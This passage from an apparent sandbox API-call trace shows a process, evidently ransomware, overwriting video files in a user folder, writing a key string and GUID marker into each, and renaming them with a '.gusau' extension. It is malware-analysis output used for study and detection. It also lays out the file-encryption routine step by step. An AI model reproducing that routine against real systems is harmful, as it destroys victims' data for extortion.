(HeapHandle=0xd10000, Flags=0x0, Size=0xf0) returned 0x38e0b90 [0119.880] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x166) returned 0x3920c68 [0119.880] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.880] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\Imq8H_txUYezfovf910P.avi") returned=".avi" [0119.880] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\Imq8H_txUYezfovf910P.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\imq8h_txuyezfovf910p.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.880] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=13559) returned 1 [0119.880] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.882] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x34d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.882] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.884] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.884] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.885] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.885] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x34f7, lpOverlapped=0x0) returned 1 [0119.885] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.885] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.885] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.885] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.885] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.886] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.886] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.886] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.886] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.886] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.886] GetLastError () returned 0x0 [0119.886] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.886] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.886] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.886] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x3500) returned 0x39f9f20 [0119.886] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.887] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.887] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x34f2, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x34f2, lpOverlapped=0x0) returned 1 [0119.887] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.887] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x34f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.887] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.887] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5118 [0119.887] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5118, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.887] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5548 [0119.887] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5118 | out: hHeap=0xd10000) returned 1 [0119.887] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.887] WriteFile (in: hFile=0x610, lpBuffer=0x39f5548*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5548*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.887] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5548 | out: hHeap=0xd10000) returned 1 [0119.887] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.887] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.887] CloseHandle (hObject=0x610) returned 1 [0119.888] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x120) returned 0x38e0b90 [0119.888] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x930) returned 0x39f5118 [0119.888] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.888] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\Imq8H_txUYezfovf910P.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\imq8h_txuyezfovf910p.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\Imq8H_txUYezfovf910P.avi.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\imq8h_txuyezfovf910p.avi.gusau")) returned 1 [0119.889] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5118 | out: hHeap=0xd10000) returned 1 [0119.889] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.890] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3920c68 | out: hHeap=0xd10000) returned 1 [0119.890] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5d552b0, ftCreationTime.dwHighDateTime=0x1d4d35e, ftLastAccessTime.dwLowDateTime=0x8e400a10, ftLastAccessTime.dwHighDateTime=0x1d4d011, ftLastWriteTime.dwLowDateTime=0x8e400a10, ftLastWriteTime.dwHighDateTime=0x1d4d011, nFileSizeHigh=0x0, nFileSizeLow=0x15c0b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PSRUTQvyeJCY.mp4", cAlternateFileName="PSRUTQ~1.MP4")) returned 1 [0119.890] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xf0) returned 0x3920c68 [0119.890] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x166) returned 0x38e0b90 [0119.890] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3920c68 | out: hHeap=0xd10000) returned 1 [0119.890] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\PSRUTQvyeJCY.mp4") returned=".mp4" [0119.890] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\PSRUTQvyeJCY.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\psrutqvyejcy.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.890] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=89099) returned 1 [0119.890] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.892] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x15be5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.892] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.894] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.894] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.894] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.894] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x15c0b, lpOverlapped=0x0) returned 1 [0119.895] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.895] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.895] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.895] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.895] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.896] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.896] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.896] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.896] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.896] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.896] GetLastError () returned 0x0 [0119.896] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.896] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.896] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.896] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x15c10) returned 0x39f9f20 [0119.896] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.896] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.897] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x15c06, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x15c06, lpOverlapped=0x0) returned 1 [0119.897] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.897] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x15c0b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.897] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.897] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5118 [0119.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5118, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.897] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5548 [0119.897] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5118 | out: hHeap=0xd10000) returned 1 [0119.897] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.897] WriteFile (in: hFile=0x610, lpBuffer=0x39f5548*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5548*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.897] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5548 | out: hHeap=0xd10000) returned 1 [0119.897] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.897] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.898] CloseHandle (hObject=0x610) returned 1 [0119.899] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x110) returned 0x3920c68 [0119.899] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x920) returned 0x39f5118 [0119.899] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3920c68 | out: hHeap=0xd10000) returned 1 [0119.899] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\PSRUTQvyeJCY.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\psrutqvyejcy.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\PSRUTQvyeJCY.mp4.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\psrutqvyejcy.mp4.gusau")) returned 1 [0119.899] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5118 | out: hHeap=0xd10000) returned 1 [0119.899] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.901] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.901] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5299c980, ftCreationTime.dwHighDateTime=0x1d4cc4f, ftLastAccessTime.dwLowDateTime=0x6405aee0, ftLastAccessTime.dwHighDateTime=0x1d4c67e, ftLastWriteTime.dwLowDateTime=0x6405aee0, ftLastWriteTime.dwHighDateTime=0x1d4c67e, nFileSizeHigh=0x0, nFileSizeLow=0x14460, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rbkgNDQN9sYCu5S0K.flv", cAlternateFileName="RBKGND~1.FLV")) returned 1 [0119.901] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xf0) returned 0x38e0b90 [0119.901] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x166) returned 0x3920c68 [0119.901] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.901] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\rbkgNDQN9sYCu5S0K.flv") returned=".flv" [0119.901] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\rbkgNDQN9sYCu5S0K.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\rbkgndqn9sycu5s0k.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0119.901] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=83040) returned 1 [0119.901] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0119.904] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x1443a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.904] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0119.905] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0119.905] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.905] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.905] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x14460, lpOverlapped=0x0) returned 1 [0119.906] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.906] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0119.906] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.906] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0119.906] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf0828) returned 1 [0119.907] CryptCreateHash (in: hProv=0xdf0828, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0119.907] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.907] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0119.907] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0119.907] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0119.907] GetLastError () returned 0x0 [0119.907] CryptDestroyHash (hHash=0x3983720) returned 1 [0119.907] CryptReleaseContext (hProv=0xdf0828, dwFlags=0x0) returned 1 [0119.907] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0119.907] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x14460) returned 0x39f9f20 [0119.908] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.908] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0119.908] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x1445b, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x1445b, lpOverlapped=0x0) returned 1 [0119.908] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0119.908] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x14460, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.908] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0119.908] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5118 [0119.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5118, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0119.908] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5548 [0119.908] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5118 | out: hHeap=0xd10000) returned 1 [0119.908] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0119.908] WriteFile (in: hFile=0x610, lpBuffer=0x39f5548*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5548*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.908] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5548 | out: hHeap=0xd10000) returned 1 [0119.908] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.909] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.909] CloseHandle (hObject=0x610) returned 1 [0119.910] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x120) returned 0x38e0b90 [0119.910] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x930) returned 0x39f5118 [0119.910] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38e0b90 | out: hHeap=0xd10000) returned 1 [0119.910] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\rbkgNDQN9sYCu5S0K.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\rbkgndqn9sycu5s0k.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\ynWwf7IE7\\muLwtSyMNArdmekL\\tKB6e7CXHXIzSLY\\4Ww3Dv\\6xgwVggB1\\3-Nhyh1JijVqK571B0JU\\rbkgNDQN9sYCu5S0K.flv.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ynwwf7ie7\\mulwtsymnardmekl\\tkb6e7cxhxizsly\\4ww3dv\\6xgwvggb1\\3-nhyh1jijvqk571b0ju\\rbkgndqn9sycu5s0k.flv.gusau")) returned 1 [0119.910] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5118 | out: hHeap=0xd10000) returned 1 [0119.910] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.911] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3920c68 | out: hHeap=0xd10000) returned 1 [0119.911] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe97ef6f0, ftCreationTime.dwHighDateTime=0x1d4d1a8, 